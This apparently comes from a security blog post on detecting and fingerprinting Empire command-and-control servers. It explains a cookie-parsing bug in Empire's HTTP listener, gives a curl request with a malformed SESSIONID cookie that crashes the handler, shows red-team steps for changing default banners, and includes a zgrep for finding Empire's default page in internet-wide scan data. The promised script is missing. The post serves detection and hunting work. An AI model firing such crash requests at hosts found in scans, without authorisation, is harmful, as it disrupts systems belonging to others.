The HTTP module in Empire is located in lib/common/ Go ahead and use your favorite text editor to open that up, and have a look around at the code.

In the class RequestHandler and method do_GET we have the following piece of code for handling parsing of cookie data.

if cookie:
            # search for a SESSIONID value in the cookie
            parts = cookie.split(";")
            for part in parts:
                if "SESSIONID" in part:
                    # extract the sessionID value
                    name, sessionID = part.split("=")

name, sessionID = part.split("=")
If there is more than one equal sign in the cookie field, it'll continue to split on equal signs. That line should be this.
name, sessionID = part.split("=", 1)
In order to limit the number of items to one.

Let's go ahead and try to exploit this from the client side with the following request.

curl http://target:port --Cookie 'SESSIONID=id=id'

Curl will return the following error, because Python threw an exception upon parsing the cookies.

curl: (52) Empty reply from server

Changing default values

While executing a Red Team engagement, it's always a good idea to change the default values of tools that you use, whether it be a scanner or C2 infrastructure. This will make it harder for Blue Team elements to detect portions of your activity. You should also either utilize Empire's whitelisting feature or setup a Firewall in order to keep your test within scope. There is no excuse for leaving your C2 node exposed to the entire Internet.

You should have noticed while browsing that the default page served is also located in that file in the function named default_page.

In order to change the default server name, you must edit the configuration in the empire.db file located in data/. Open it up by using sqlite3 data/empire.db. You can view the current setting by typing SELECT server_version from config;
In order to update it, something like the following will do the job.

update config set server_version = 'nginx' where server_version = 'Microsoft-IIS/7.5';

Going beyond Shodan is another great resource for looking at Internet-wide scans including those for HTTPS sites. The scan sets are huge, but offer a very current view of HTTPs servers across the globe. Data is in JSON format, and the default page is saved in base64 format within each node.

zgrep 'PGh0bWw+PGJvZHk+PGgxPkl0IHdvcmtzITwvaDE+PHA+VGhpcyBpcyB0aGUgZGVmYXVsdCB3ZWIgcGFnZSBmb3IgdGhpcyBzZXJ2ZXIuPC9wPjxwPlRoZSB3ZWIgc2VydmVyIHNvZnR3YXJlIGlzIHJ1bm5pbmcgYnV0IG5vIGNvbnRlbnQgaGFzIGJlZW4gYWRkZWQsIHlldC48L3A+PC9ib2R5PjwvaHRtbD4=' 20170221-https.gz > /tmp/results.json

This may take several minutes to run, as the datasets are generally several gigabytes in size. The result will be a file containing JSON data for each host that returned the default Empire HTML. You can parse this file and extract each IP address that should be tested, and then feed them into the script below.

Automating detection with Python

Use the following to run this script.


Happy hunting, a future post will detail similar experiences with Meterpreter.